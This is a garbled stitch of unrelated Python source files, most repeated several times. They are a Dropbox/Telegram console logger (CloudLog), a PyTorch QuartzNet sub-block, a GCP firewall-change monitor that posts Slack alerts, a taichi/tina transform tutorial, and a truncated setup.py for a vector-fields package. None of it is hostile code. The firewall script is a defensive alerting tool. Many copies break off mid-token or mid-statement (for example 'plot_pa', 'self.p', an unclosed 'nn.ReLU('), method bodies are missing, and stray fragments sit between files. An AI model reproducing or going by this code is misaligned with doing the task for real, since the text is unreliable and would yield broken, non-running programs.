import os
import time
import dropbox
import dropbox.files
from matplotlib import pyplot
from twx.botapi import TelegramBot, InputFile, InputFileInfo

class CloudLog(object):
    """
    Lets you duplicate console logs in a locally stored file, folder on Dropbox and
    receive updates in a Telegram chat.
    """

    def __init__(self, root_path, dropbox_token=None, telegram_token=None, telegram_chat_id=None):
        """
        Initialises a new logger instance.

        Parameters
        ----------
        root_path           :
                              Local log root path.
        dropbox_token       :
                              Dropbox access token.
        telegram_token      :
                              Telegram Bot API access token.
        telegram_chat_id    :
                              Telegram chat ID.
        """
        self.telegram_chat_id = int(telegram_chat_id) if telegram_chat_id is not None else None
        self.cloud_log_writer = dropbox.Dropbox(dropbox_token) if dropbox_token is not None else None
        self.notification_bot = TelegramBot(telegram_token) if telegram_token is not None else None

        self.log_file = time.strftime('%Y-%m-%d_%H-%M-%S') + '_log.txt'
        self.root = root_path
        os.makedirs(root_path, exist_ok=True)

    def __call__(self, string):
        """
        Logs the value to console and appends the same string to the log file.

        Parameters
        ----------
        string  : string
                  Value to be logged.
        """
        print(string)
        with open(os.path.join(self.root, self.log_file), 'a') as file:
            file.write(string + '\n')

    def add_plot(self, notify=False, caption=None):
        """
        Saves current `pyplot` plot as a .png, uploads it to Dropbox and optionally notifies via Telegram chat.

        Parameters
        ----------
        notify  :
                  Flag indicating if we need to send a Telegram notification.
        caption :
                  Optional plot caption.
        """
        plot_file = time.strftime('%Y-%m-%d_%H-%M-%S') + '.png'
        plot_pa

        pyplot.savefig(plot_path)

        self.cloud_upload_plot(plot_file)
        if notify:
            self.bot_send_plot(plot_file, caption)

    def sync(self, notify=False, message=None):
        """
        Synchronises local log with Dropbox.

        Parameters
        ----------
        notify  :
                  Flag indicating if we need to send a Telegram notification.
        message :
                  Optional notification message.
        """
        self.cloud_sync_log()
        if notify:
            self.bot_send_message(message)
            self.bot_send_log()

    # Dropbox routines

    def cloud_sync_log(self):
        """
        Syncs local log with the one in Dropbox App's folder (e.g. overwrtites it).
        """
        if self.cloud_log_writer is None: return

        with open(os.path.join(self.root, self.log_file), 'rb') as file:
            try:
                self.cloud_log_writer.files_upload(
                    file.read(),
                    '/' + self.log_file,
                    mode=dropbox.files.WriteMode('overwrite', None)
                )
            except Exception as e:
                self('Failed to sync log: ' + str(e))
                pass

    def cloud_upload_plot(self, filename):
        """
        Uploads plot to Dropbox app's folder.

        Parameters
        ----------
        filename    :
                      Plot filename or relative path.
        """
        if self.cloud_log_writer is None: return

        plot_path = os.path.join(self.root, filename)
        with open(plot_path, 'rb') as file:
            try:
                self.cloud_log_writer.files_upload(
                    file.read(),
                    '/' + filename,
                    mode=dropbox.files.WriteMode('overwrite', None)
                )
            except Exception as e:
                self('Failed to upload plot: ' + str(e))
                pass

    # Telegram routines

    def bot_send_message(self, message, mode="Markdown"):
        """
        Sends a text message to default Telegram chat.

        Parameters
        ----------
        message :
                  Message to send.
        mode    :
                  Message parsing mode. Defaults to `Markdown`.
        """
        if self.notification_bot is None or self.telegram_chat_id is None: return

        try:
            self.notification_bot.send_message(
                self.telegram_chat_id,
                message,
                parse_mode=mode
            ).wait()
        except Exception as e:
            self('Failed to send notification: ' + str(e))
            pass

    def bot_send_plot(self, filename, caption=None):
        """
        Sends plot saved as `filename` to default Telegram chat with optional caption.

        Parameters
        ----------
        filename  :
                    Plot filename or path relative to current directory.
        caption   :
                    Optional plot caption.
        """
        if self.notification_bot is None or self.telegram_chat_id is None: return

        plot_path = os.path.join(self.root, filename)
        with open(plot_path, 'rb') as file:
            try:
                self.notification_bot.send_photo(
                    self.telegram_chat_id,
                    InputFile('photo', InputFileInfo(filename, file, 'image/png')),
                    caption=caption,
                    disable_notification=True
                ).wait()
            except Exception as e:
                self('Failed to send plot: ' + str(e))
                pass

    def bot_send_log(self):
        """
        Sends current log file to default Telegram chat. Does not notify the user about this message, send a separate
        message if you want the notification to hit user's device.
        """
        if self.notification_bot is None or self.telegram_chat_id is None: return

        with open(os.path.join(self.root, self.log_file), 'rb') as file:
            try:
                self.notification_bot.send_document(
                    self.telegram_chat_id,
                    InputFile('document', InputFileInfo(self.log_file, file, 'text/plain')),
                    disable_notification=True
                ).wait()
            except Exception as e:
                self('Failed to send log: ' + str(e))
                pass


        if self.notification_bot is None or self.telegram_chat_id is None: return

        try:
            self.notification_bot.send_message(
                self.telegram_chat_id,
                message,
                parse_mode=mode
            ).wait()
        except Exception as e:
            self('Failed to send notification: ' + str(e))
            pass

import os
import time
import dropbox
import dropbox.files
from matplotlib import pyplot
from twx.botapi import TelegramBot, InputFile, InputFileInfo

class CloudLog(object):
    """
    Lets you duplicate console logs in a locally stored file, folder on Dropbox and
    receive updates in a Telegram chat.
    """

    def __init__(self, root_path, dropbox_token=None, telegram_token=None, telegram_chat_id=None):
        """
        Initialises a new logger instance.

        Parameters
        ----------
        root_path           :
                              Local log root path.
        dropbox_token       :
                              Dropbox access token.
        telegram_token      :
                              Telegram Bot API access token.
        telegram_chat_id    :
                              Telegram chat ID.
        """
        self.telegram_chat_id = int(telegram_chat_id) if telegram_chat_id is not None else None
        self.cloud_log_writer = dropbox.Dropbox(dropbox_token) if dropbox_token is not None else None
        self.notification_bot = TelegramBot(telegram_token) if telegram_token is not None else None

        self.log_file = time.strftime('%Y-%m-%d_%H-%M-%S') + '_log.txt'
        self.root = root_path
        os.makedirs(root_path, exist_ok=True)

    def __call__(self, string):
        """
        Logs the value to console and appends the same string to the log file.

        Parameters
        ----------
        string  : string
                  Value to be logged.
        """
        print(string)
        with open(os.path.join(self.root, self.log_file), 'a') as file:
            file.write(string + '\n')

    def add_plot(self, notify=False, caption=None):
        """
        Saves current `pyplot` plot as a .png, uploads it to Dropbox and optionally notifies via Telegram chat.

        Parameters
        ----------
        notify  :
                  Flag indicating if we need to send a Telegram notification.
        caption :
                  Optional plot caption.
        """
        plot_file = time.strftime('%Y-%m-%d_%H-%M-%S') + '.png'
        plot_path = os.path.join(self.root, plot_file)
        pyplot.savefig(plot_path)

        self.cloud_upload_plot(plot_file)
        if notify:
            self.bot_send_plot(plot_file, caption)

    def sync(self, notify=False, message=None):
        """
        Synchronises local log with Dropbox.

        Parameters
        ----------
        notify  :
                  Flag indicating if we need to send a Telegram notification.
        message :
                  Optional notification message.
        """
        self.cloud_sync_log()
        if notify:
            self.bot_send_message(message)
            self.bot_send_log()

    # Dropbox routines

    def cloud_sync_log(self):
        """
        Syncs local log with the one in Dropbox App's folder (e.g. overwrtites it).
        """
        if self.cloud_log_writer is None: return

        with open(os.path.join(self.root, self.log_file), 'rb') as file:
            try:
                self.cloud_log_writer.files_upload(
                    file.read(),
                    '/' + self.log_file,
                    mode=dropbox.files.WriteMode('overwrite', None)
                )
            except Exception as e:
                self('Failed to sync log: ' + str(e))
                pass

    def cloud_upload_plot(self, filename):
        """
        Uploads plot to Dropbox app's folder.

        Parameters
        ----------
        filename    :
                      Plot filename or relative path.
        """
        if self.cloud_log_writer is None: return

        plot_path = os.path.join(self.root, filename)
        with open(plot_path, 'rb') as file:
            try:
                self.cloud_log_writer.files_upload(
                    file.read(),
                    '/' + filename,
                    mode=dropbox.files.WriteMode('overwrite', None)
                )
            except Exception as e:
                self('Failed to upload plot: ' + str(e))
                pass

    # Telegram routines

    def bot_send_message(self, message, mode="Markdown"):
        """
        Sends a text message to default Telegram chat.

        Parameters
        ----------
        message :
                  Message to send.
        mode    :
                  Message parsing mode. Defaults to `Markdown`.
        """

    def bot_send_plot(self, filename, caption=None):
        """
        Sends plot saved as `filename` to default Telegram chat with optional caption.

        Parameters
        ----------
        filename  :
                    Plot filename or path relative to current directory.
        caption   :
                    Optional plot caption.
        """
        if self.notification_bot is None or self.telegram_chat_id is None: return

        plot_path = os.path.join(self.root, filename)
        with open(plot_path, 'rb') as file:
            try:
                self.notification_bot.send_photo(
                    self.telegram_chat_id,
                    InputFile('photo', InputFileInfo(filename, file, 'image/png')),
                    caption=caption,
                    disable_notification=True
                ).wait()
            except Exception as e:
                self('Failed to send plot: ' + str(e))
                pass

    def bot_send_log(self):
        """
        Sends current log file to default Telegram chat. Does not notify the user about this message, send a separate
        message if you want the notification to hit user's device.
        """
        if self.notification_bot is None or self.telegram_chat_id is None: return

        with open(os.path.join(self.root, self.log_file), 'rb') as file:
            try:
                self.notification_bot.send_document(
                    self.telegram_chat_id,
                    InputFile('document', InputFileInfo(self.log_file, file, 'text/plain')),
                    disable_notification=True
                ).wait()
            except Exception as e:
                self('Failed to send log: ' + str(e))
                pass


try:
                self.notification_bot.send_photo(
                    self.telegram_chat_id,
                    InputFile('photo', InputFileInfo(filename, file, 'image/png')),
                    caption=caption,
                    disable_notification=True
                ).wait()
            except Exception as e:
                self('Failed to send plot: ' + str(e))
                pass

import os
import time
import dropbox
import dropbox.files
from matplotlib import pyplot
from twx.botapi import TelegramBot, InputFile, InputFileInfo

class CloudLog(object):
    """
    Lets you duplicate console logs in a locally stored file, folder on Dropbox and
    receive updates in a Telegram chat.
    """

    def __init__(self, root_path, dropbox_token=None, telegram_token=None, telegram_chat_id=None):
        """
        Initialises a new logger instance.

        Parameters
        ----------
        root_path           :
                              Local log root path.
        dropbox_token       :
                              Dropbox access token.
        telegram_token      :
                              Telegram Bot API access token.
        telegram_chat_id    :
                              Telegram chat ID.
        """
        self.telegram_chat_id = int(telegram_chat_id) if telegram_chat_id is not None else None
        self.cloud_log_writer = dropbox.Dropbox(dropbox_token) if dropbox_token is not None else None
        self.notification_bot = TelegramBot(telegram_token) if telegram_token is not None else None

        self.log_file = time.strftime('%Y-%m-%d_%H-%M-%S') + '_log.txt'
        self.root = root_path
        os.makedirs(root_path, exist_ok=True)

    def __call__(self, string):
        """
        Logs the value to console and appends the same string to the log file.

        Parameters
        ----------
        string  : string
                  Value to be logged.
        """
        print(string)
        with open(os.path.join(self.root, self.log_file), 'a') as file:
            file.write(string + '\n')

    def add_plot(self, notify=False, caption=None):
        """
        Saves current `pyplot` plot as a .png, uploads it to Dropbox and optionally notifies via Telegram chat.

        Parameters
        ----------
        notify  :
                  Flag indicating if we need to send a Telegram notification.
        caption :
                  Optional plot caption.
        """
        plot_file = time.strftime('%Y-%m-%d_%H-%M-%S') + '.png'
        plot_path = os.path.join(self.root, plot_file)
        pyplot.savefig(plot_path)

        self.cloud_upload_plot(plot_file)
        if notify:
            self.bot_send_plot(plot_file, caption)

    def sync(self, notify=False, message=None):
        """
        Synchronises local log with Dropbox.

        Parameters
        ----------
        notify  :
                  Flag indicating if we need to send a Telegram notification.
        message :
                  Optional notification message.
        """
        self.cloud_sync_log()
        if notify:
            self.bot_send_message(message)
            self.bot_send_log()

    # Dropbox routines

    def cloud_sync_log(self):
        """
        Syncs local log with the one in Dropbox App's folder (e.g. overwrtites it).
        """
        if self.cloud_log_writer is None: return

        with open(os.path.join(self.root, self.log_file), 'rb') as file:
            try:
                self.cloud_log_writer.files_upload(
                    file.read(),
                    '/' + self.log_file,
                    mode=dropbox.files.WriteMode('overwrite', None)
                )
            except Exception as e:
                self('Failed to sync log: ' + str(e))
                pass

    def cloud_upload_plot(self, filename):
        """
        Uploads plot to Dropbox app's folder.

        Parameters
        ----------
        filename    :
                      Plot filename or relative path.
        """
        if self.cloud_log_writer is None: return

        plot_path = os.path.join(self.root, filename)
        with open(plot_path, 'rb') as file:
            try:
                self.cloud_log_writer.files_upload(
                    file.read(),
                    '/' + filename,
                    mode=dropbox.files.WriteMode('overwrite', None)
                )
            except Exception as e:
                self('Failed to upload plot: ' + str(e))
                pass

    # Telegram routines

    def bot_send_message(self, message, mode="Markdown"):
        """
        Sends a text message to default Telegram chat.

        Parameters
        ----------
        message :
                  Message to send.
        mode    :
                  Message parsing mode. Defaults to `Markdown`.
        """
        if self.notification_bot is None or self.telegram_chat_id is None: return

        try:
            self.notification_bot.send_message(
                self.telegram_chat_id,
                message,
                parse_mode=mode
            ).wait()
        except Exception as e:
            self('Failed to send notification: ' + str(e))
            pass

    def bot_send_plot(self, filename, caption=None):
        """
        Sends plot saved as `filename` to default Telegram chat with optional caption.

        Parameters
        ----------
        filename  :
                    Plot filename or path relative to current directory.
        caption   :
                    Optional plot caption.
        """
        if self.notification_bot is None or self.telegram_chat_id is None: return

        plot_path = os.path.join(self.root, filename)
        with open(plot_path, 'rb') as file:

    def bot_send_log(self):
        """
        Sends current log file to default Telegram chat. Does not notify the user about this message, send a separate
        message if you want the notification to hit user's device.
        """
        if self.notification_bot is None or self.telegram_chat_id is None: return

        with open(os.path.join(self.root, self.log_file), 'rb') as file:
            try:
                self.notification_bot.send_document(
                    self.telegram_chat_id,
                    InputFile('document', InputFileInfo(self.log_file, file, 'text/plain')),
                    disable_notification=True
                ).wait()
            except Exception as e:
                self('Failed to send log: ' + str(e))
                pass


def __init__(
            self,
            in_channels: int,
            out_channels: int,
            kernel_size: int,
            bias: bool = False,
            padding: int = 0,
            groups: int = 1,
    ) -> None:

import torch
import torch.nn as nn
from typing import Optional, Tuple

from openspeech.modules.depthwise_conv1d import DepthwiseConv1d
from openspeech.modules.time_channel_separable_conv1d import TimeChannelSeparableConv1d
from openspeech.modules.conv_group_shuffle import ConvGroupShuffle

class QuartzNetSubBlock(nn.Module):
    r"""
    QuartzNet sub-block applies the following operations: a 1D-convolution, batch norm, ReLU, and dropout.

    Args:
        in_channels (int): number of channels in the input feature
        out_channels (int): number of channels produced by the convolution
        kernel_size (int): size of the convolving kernel
        padding (int): zero-padding added to both sides of the input. (default: 0)
        bias (bool): if True, adds a learnable bias to the output. (default: False)

    Inputs: inputs, input_lengths, residual
        - **inputs**: tensor contains input sequence vector
        - **input_lengths**: tensor contains sequence lengths
        - **residual**: tensor contains residual vector

    Returns: output, output_lengths
        * output (torch.FloatTensor): tensor contains output sequence vector
        * output_lengths (torch.LongTensor): tensor contains output sequence lengths
    """

super(QuartzNetSubBlock, self).__init__()
        self.depthwise_conf1d = DepthwiseConv1d(
            in_channels=in_channels,
            out_channels=out_channels,
            kernel_size=kernel_size,
            padding=padding,
        )
        self.tcs_conv = TimeChannelSeparableConv1d(
            in_channels=out_channels,
            out_channels=out_channels,
            kernel_size=1,
            padding=0,
            groups=groups,
            bias=bias,
        )
        self.group_shuffle = ConvGroupShuffle(groups, out_channels)
        self.batch_norm = nn.BatchNorm1d(out_channels, eps=1e-3, momentum=0.1)
        self.relu = nn.ReLU()

    def forward(
            self,
            inputs: torch.Tensor,
            input_lengths: torch.Tensor,
            residual: Optional[torch.Tensor] = None
    ) -> Tuple[torch.Tensor, torch.Tensor]:
        outputs, output_lengths = self.depthwise_conf1d(inputs, input_lengths)
        outputs, output_lengths = self.tcs_conv(outputs, output_lengths)
        outputs = self.group_shuffle(outputs)
        outputs = self.batch_norm(outputs)

        if residual is not None:
            outputs += residual

        outputs = self.relu(outputs)

        return outputs, output_lengths


outputs, output_lengths = self.depthwise_conf1d(inputs, input_lengths)
        outputs, output_lengths = self.tcs_conv(outputs, output_lengths)
        outputs = self.group_shuffle(outputs)
        outputs = self.batch_norm(outputs)

        if residual is not None:
            outputs += residual

        outputs = self.relu(outputs)

        return outputs, output_lengths

import torch
import torch.nn as nn
from typing import Optional, Tuple

from openspeech.modules.depthwise_conv1d import DepthwiseConv1d
from openspeech.modules.time_channel_separable_conv1d import TimeChannelSeparableConv1d
from openspeech.modules.conv_group_shuffle import ConvGroupShuffle

class QuartzNetSubBlock(nn.Module):
    r"""
    QuartzNet sub-block applies the following operations: a 1D-convolution, batch norm, ReLU, and dropout.

    Args:
        in_channels (int): number of channels in the input feature
        out_channels (int): number of channels produced by the convolution
        kernel_size (int): size of the convolving kernel
        padding (int): zero-padding added to both sides of the input. (default: 0)
        bias (bool): if True, adds a learnable bias to the output. (default: False)

    Inputs: inputs, input_lengths, residual
        - **inputs**: tensor contains input sequence vector
        - **input_lengths**: tensor contains sequence lengths
        - **residual**: tensor contains residual vector

    Returns: output, output_lengths
        * output (torch.FloatTensor): tensor contains output sequence vector
        * output_lengths (torch.LongTensor): tensor contains output sequence lengths
    """
    def __init__(
            self,
            in_channels: int,
            out_channels: int,
            kernel_size: int,
            bias: bool = False,
            padding: int = 0,
            groups: int = 1,
    ) -> None:
        super(QuartzNetSubBlock, self).__init__()
        self.depthwise_conf1d = DepthwiseConv1d(
            in_channels=in_channels,
            out_channels=out_channels,
            kernel_size=kernel_size,
            padding=padding,
        )
        self.tcs_conv = TimeChannelSeparableConv1d(
            in_channels=out_channels,
            out_channels=out_channels,
            kernel_size=1,
            padding=0,
            groups=groups,
            bias=bias,
        )
        self.group_shuffle = ConvGroupShuffle(groups, out_channels)
        self.batch_norm = nn.BatchNorm1d(out_channels, eps=1e-3, momentum=0.1)
        self.relu = nn.ReLU()

    def forward(
            self,
            inputs: torch.Tensor,
            input_lengths: torch.Tensor,
            residual: Optional[torch.Tensor] = None
    ) -> Tuple[torch.Tensor, torch.Tensor]:


import torch
import torch.nn as nn
from typing import Optional, Tuple

from openspeech.modules.depthwise_conv1d import DepthwiseConv1d
from openspeech.modules.time_channel_separable_conv1d import TimeChannelSeparableConv1d
from openspeech.modules.conv_group_shuffle import ConvGroupShuffle

class QuartzNetSubBlock(nn.Module):
    r"""
    QuartzNet sub-block applies the following operations: a 1D-convolution, batch norm, ReLU, and dropout.

    Args:
        in_channels (int): number of channels in the input feature
        out_channels (int): number of channels produced by the convolution
        kernel_size (int): size of the convolving kernel
        padding (int): zero-padding added to both sides of the input. (default: 0)
        bias (bool): if True, adds a learnable bias to the output. (default: False)

    Inputs: inputs, input_lengths, residual
        - **inputs**: tensor contains input sequence vector
        - **input_lengths**: tensor contains sequence lengths
        - **residual**: tensor contains residual vector

    Returns: output, output_lengths
        * output (torch.FloatTensor): tensor contains output sequence vector
        * output_lengths (torch.LongTensor): tensor contains output sequence lengths
    """
    def __init__(
            self,
            in_channels: int,
            out_channels: int,
            kernel_size: int,
            bias: bool = False,
            padding: int = 0,
            groups: int = 1,
    ) -> None:
        super(QuartzNetSubBlock, self).__init__()
        self.depthwise_conf1d = DepthwiseConv1d(
            in_channels=in_channels,
            out_channels=out_channels,
            kernel_size=kernel_size,
            padding=padding,
        )
        self.tcs_conv = TimeChannelSeparableConv1d(
            in_channels=out_channels,
            out_channels=out_channels,
            kernel_size=1,
            padding=0,
            groups=groups,
            bias=bias,
        )
        self.group_shuffle = ConvGroupShuffle(groups, out_channels)
        self.batch_norm = nn.BatchNorm1d(out_channels, eps=1e-3, momentum=0.1)
        self.relu = nn.ReLU(

    def forward(
            self,
            inputs: torch.Tensor,
            input_lengths: torch.Tensor,
            residual: Optional[torch.Tensor] = None
    ) -> Tuple[torch.Tensor, torch.Tensor]:
        outputs, output_lengths = self.depthwise_conf1d(inputs, input_lengths)
        outputs, output_lengths = self.tcs_conv(outputs, output_lengths)
        outputs = self.group_shuffle(outputs)
        outputs = self.batch_norm(outputs)

        if residual is not None:
            outputs += residual

        outputs = self.relu(outputs)

        return outputs, output_lengths


import json
import requests
import yaml
import pathlib
import ipaddress

current_directory = str(pathlib.Path(__file__).parent.absolute())
with open(current_directory + "/whitelist.yaml","r") as whitelist_file:
	whitelist = yaml.safe_load(whitelist_file)

with open(current_directory + "/config.yaml","r") as config_file:
	cfg = yaml.safe_load(config_file)

class Protocol:

self.protocol = protocol
		self.ports = ports

def parse_protocol(alloweds):
	output = []
	for item in alloweds:
		protocol = item['IPProtocol']
		ports = item.get('ports')
		if ports is None:
			ports = ''
		output.append(Protocol(protocol, ports))
	return output

def check_whitelist(alloweds):
	for allowed in alloweds:
		prev_port_length = len(allowed.ports)
		for port in reversed(allowed.ports):
			item = allowed.protocol + ' ' + port
			if item in whitelist['firewall']:
				allowed.ports.remove(port)

		if (len(allowed.ports) == 0) and (len(allowed.ports) < prev_port_length):
			alloweds.pop()

def check_private_ip(sourceRanges):
	for source in reversed(sourceRanges):
		ip = source.split('/')[0]
		if ip == '0.0.0.0':
			continue
		is_private = ipaddress.ip_address(ip).is_private
		if is_private:
			sourceRanges.remove(source)

def firewall_insert(message, token, url, channel):
	project_name = message.get('resource').get('labels').get('project_id')
	actor = message.get('protoPayload').get('response').get('user')
	firewall_name = message.get('protoPayload').get('request').get('name')
	direction = message.get('protoPayload').get('request').get('direction')
	alloweds = message.get('protoPayload').get('request').get('alloweds')
	alloweds = parse_protocol(alloweds)
	check_whitelist(alloweds)
	# TODO: check for denieds
	sourceRanges = message.get('protoPayload').get('request').get('sourceRanges')
	if "PUBLIC_IP_ONLY" in cfg['configuration']:
		check_private_ip(sourceRanges)
	targetTags = message.get('protoPayload').get('request').get('targetTags')

	# Alert if there is no whitelisted protocol/port
	if (len(alloweds) > 0) and (len(sourceRanges) > 0):
		send_alert(token, url, channel, project_name, actor, firewall_name, direction, alloweds, sourceRanges, targetTags)

def send_alert(token, url, channel, project_name, actor, firewall_name, direction, alloweds, sourceRanges, targetTags):

	parsed_protocol = ""
	for protocol in alloweds:
		if protocol.ports != '':
			parsed_protocol += "`" + protocol.protocol.upper() + "`\n"
			if len(protocol.ports) > 1:
				for port in protocol.ports:
					parsed_protocol += "• " + str(port) + " \n"
			else:
				parsed_protocol += "• " + str(protocol.ports[0]) + " \n"
		else:
			parsed_protocol += "`" + protocol.protocol.upper() + "` \n"

	attachments = [
			{
				"mrkdwn_in":[
					"text",
					"value"
				],
				"color":"#36a64f",
				"fallback":"["+ project_name +"] Firewall Insert Alert",
				"title":"Firewall Insert",
				"fields":[
					{
						"title":"Project",
						"value": project_name,
						"short":True
					},
					{
						"title":"Actor",
						"value": actor,
						"short":True
					},
					{
						"title":"Firewall Name",
						"value":firewall_name
					},
					{
						"title":"Protocol",
						"value":parsed_protocol,
						"short":True
					},
					{
						"title":"Source",
						"value":str(sourceRanges),
						"short":True
					}
				],
				"footer":"dollhouse",
				"footer_icon":"https://platform.slack-edge.com/img/default_application_icon.png"
		}
	]

	data = {
			'token'     : token,
			'channel'   : channel,
			'attachments': json.dumps(attachments)
	}

	requests.post(url=url, data=data)


output = []
	for item in alloweds:
		protocol = item['IPProtocol']
		ports = item.get('ports')
		if ports is None:
			ports = ''
		output.append(Protocol(protocol, ports))
	return output

import json
import requests
import yaml
import pathlib
import ipaddress

current_directory = str(pathlib.Path(__file__).parent.absolute())
with open(current_directory + "/whitelist.yaml","r") as whitelist_file:
	whitelist = yaml.safe_load(whitelist_file)

with open(current_directory + "/config.yaml","r") as config_file:
	cfg = yaml.safe_load(config_file)

class Protocol:
	def __init__(self, protocol, ports):
		self.protocol = protocol
		self.ports = ports

def parse_protocol(alloweds):

def check_whitelist(alloweds):
	for allowed in alloweds:
		prev_port_length = len(allowed.ports)
		for port in reversed(allowed.ports):
			item = allowed.protocol + ' ' + port
			if item in whitelist['firewall']:
				allowed.ports.remove(port)

		if (len(allowed.ports) == 0) and (len(allowed.ports) < prev_port_length):
			alloweds.pop()

def check_private_ip(sourceRanges):
	for source in reversed(sourceRanges):
		ip = source.split('/')[0]
		if ip == '0.0.0.0':
			continue
		is_private = ipaddress.ip_address(ip).is_private
		if is_private:
			sourceRanges.remove(source)

def firewall_insert(message, token, url, channel):
	project_name = message.get('resource').get('labels').get('project_id')
	actor = message.get('protoPayload').get('response').get('user')
	firewall_name = message.get('protoPayload').get('request').get('name')
	direction = message.get('protoPayload').get('request').get('direction')
	alloweds = message.get('protoPayload').get('request').get('alloweds')
	alloweds = parse_protocol(alloweds)
	check_whitelist(alloweds)
	# TODO: check for denieds
	sourceRanges = message.get('protoPayload').get('request').get('sourceRanges')
	if "PUBLIC_IP_ONLY" in cfg['configuration']:
		check_private_ip(sourceRanges)
	targetTags = message.get('protoPayload').get('request').get('targetTags')

	# Alert if there is no whitelisted protocol/port
	if (len(alloweds) > 0) and (len(sourceRanges) > 0):
		send_alert(token, url, channel, project_name, actor, firewall_name, direction, alloweds, sourceRanges, targetTags)

def send_alert(token, url, channel, project_name, actor, firewall_name, direction, alloweds, sourceRanges, targetTags):

	parsed_protocol = ""
	for protocol in alloweds:
		if protocol.ports != '':
			parsed_protocol += "`" + protocol.protocol.upper() + "`\n"
			if len(protocol.ports) > 1:
				for port in protocol.ports:
					parsed_protocol += "• " + str(port) + " \n"
			else:
				parsed_protocol += "• " + str(protocol.ports[0]) + " \n"
		else:
			parsed_protocol += "`" + protocol.protocol.upper() + "` \n"

	attachments = [
			{
				"mrkdwn_in":[
					"text",
					"value"
				],
				"color":"#36a64f",
				"fallback":"["+ project_name +"] Firewall Insert Alert",
				"title":"Firewall Insert",
				"fields":[
					{
						"title":"Project",
						"value": project_name,
						"short":True
					},
					{
						"title":"Actor",
						"value": actor,
						"short":True
					},
					{
						"title":"Firewall Name",
						"value":firewall_name
					},
					{
						"title":"Protocol",
						"value":parsed_protocol,
						"short":True
					},
					{
						"title":"Source",
						"value":str(sourceRanges),
						"short":True
					}
				],
				"footer":"dollhouse",
				"footer_icon":"https://platform.slack-edge.com/img/default_application_icon.png"
		}
	]

	data = {
			'token'     : token,
			'channel'   : channel,
			'attachments': json.dumps(attachments)
	}

	requests.post(url=url, data=data)


import json
import requests
import yaml
import pathlib
import ipaddress

current_directory = str(pathlib.Path(__file__).parent.absolute())
with open(current_directory + "/whitelist.yaml","r") as whitelist_file:
	whitelist = yaml.safe_load(whitelist_file)

with open(current_directory + "/config.yaml","r") as config_file:
	cfg = yaml.safe_load(config_file)

class Protocol:
	def __init__(self, protocol, ports):
		self.p

		self.ports = ports

def parse_protocol(alloweds):
	output = []
	for item in alloweds:
		protocol = item['IPProtocol']
		ports = item.get('ports')
		if ports is None:
			ports = ''
		output.append(Protocol(protocol, ports))
	return output

def check_whitelist(alloweds):
	for allowed in alloweds:
		prev_port_length = len(allowed.ports)
		for port in reversed(allowed.ports):
			item = allowed.protocol + ' ' + port
			if item in whitelist['firewall']:
				allowed.ports.remove(port)

		if (len(allowed.ports) == 0) and (len(allowed.ports) < prev_port_length):
			alloweds.pop()

def check_private_ip(sourceRanges):
	for source in reversed(sourceRanges):
		ip = source.split('/')[0]
		if ip == '0.0.0.0':
			continue
		is_private = ipaddress.ip_address(ip).is_private
		if is_private:
			sourceRanges.remove(source)

def firewall_insert(message, token, url, channel):
	project_name = message.get('resource').get('labels').get('project_id')
	actor = message.get('protoPayload').get('response').get('user')
	firewall_name = message.get('protoPayload').get('request').get('name')
	direction = message.get('protoPayload').get('request').get('direction')
	alloweds = message.get('protoPayload').get('request').get('alloweds')
	alloweds = parse_protocol(alloweds)
	check_whitelist(alloweds)
	# TODO: check for denieds
	sourceRanges = message.get('protoPayload').get('request').get('sourceRanges')
	if "PUBLIC_IP_ONLY" in cfg['configuration']:
		check_private_ip(sourceRanges)
	targetTags = message.get('protoPayload').get('request').get('targetTags')

	# Alert if there is no whitelisted protocol/port
	if (len(alloweds) > 0) and (len(sourceRanges) > 0):
		send_alert(token, url, channel, project_name, actor, firewall_name, direction, alloweds, sourceRanges, targetTags)

def send_alert(token, url, channel, project_name, actor, firewall_name, direction, alloweds, sourceRanges, targetTags):

	parsed_protocol = ""
	for protocol in alloweds:
		if protocol.ports != '':
			parsed_protocol += "`" + protocol.protocol.upper() + "`\n"
			if len(protocol.ports) > 1:
				for port in protocol.ports:
					parsed_protocol += "• " + str(port) + " \n"
			else:
				parsed_protocol += "• " + str(protocol.ports[0]) + " \n"
		else:
			parsed_protocol += "`" + protocol.protocol.upper() + "` \n"

	attachments = [
			{
				"mrkdwn_in":[
					"text",
					"value"
				],
				"color":"#36a64f",
				"fallback":"["+ project_name +"] Firewall Insert Alert",
				"title":"Firewall Insert",
				"fields":[
					{
						"title":"Project",
						"value": project_name,
						"short":True
					},
					{
						"title":"Actor",
						"value": actor,
						"short":True
					},
					{
						"title":"Firewall Name",
						"value":firewall_name
					},
					{
						"title":"Protocol",
						"value":parsed_protocol,
						"short":True
					},
					{
						"title":"Source",
						"value":str(sourceRanges),
						"short":True
					}
				],
				"footer":"dollhouse",
				"footer_icon":"https://platform.slack-edge.com/img/default_application_icon.png"
		}
	]

	data = {
			'token'     : token,
			'channel'   : channel,
			'attachments': json.dumps(attachments)
	}

	requests.post(url=url, data=data)


while gui.running:
    scene.input(gui)

    # create a matrix representing translation along X-axis
    dx = ti.sin(gui.frame * 0.03)
    matrix = tina.translate([dx, 0, 0])
    # set the model transformation matrix for `tina.Transform` node
    tmodel.set_transform(matrix)

    scene.render()
    gui.set_image(scene.img)
    gui.show()

# In this episode, you'll learn how to make use of nodes for transformation
# This tutorial is based on docs/monkey.py, make sure you check that first

import taichi as ti
import tina

ti.init(ti.gpu)

scene = tina.Scene()

# load the monkey model with the `tina.MeshModel` node:
model = tina.MeshModel('assets/monkey.obj')
# transform the mesh using the `tina.Transform` node:
tmodel = tina.MeshTransform(model)
# load the desired node to be displayed:
scene.add_object(tmodel)

gui = ti.GUI('transform')


try:
    from setuptools import setup, find_packages
except ImportError:
    from distutils.core import setup, find_packages

""" Installation script for vectorfields package. """

from os import path
from io import open

from src.vectorfields import __version__ as version

here = path.abspath(path.dirname(__file__))

# Get the long description from the README file
with open(path.join(here, 'README.md'), encoding='utf-8') as f:
    long_description = f.read()

setup(name='vectorfields',
      version=version,
      description='Module for creating vector fields for use in a game engine, e.g. Unreal Engine 4 or Unity 3D.',
      long_description=long_description,
      long_description_content_type='text/markdown',
      author='Olaf Haag',
      author_email='example@nnthink.com',
      url='http://example.com',
      classifiers=['License :: OSI Approved :: MIT License',
                   'Programming Language :: Python :: 2.7',
                   'Programming Language :: Python :: 3',
                   'Operating System :: OS Independent',
                   'Environment :: Console',
                   'Development Status :: 3 - Alpha',
                   'Intended Audience :: End Users/Desktop',
                   'Intended Audience :: Science/Research',
                   'Topic :: Games/Entertainment',
                   ],
      keywords='vector fields FGA vf flowmap unity unreal 3d game engine VFX',
      packages=find_packages(where="src"),
      package_dir={"": "src"},
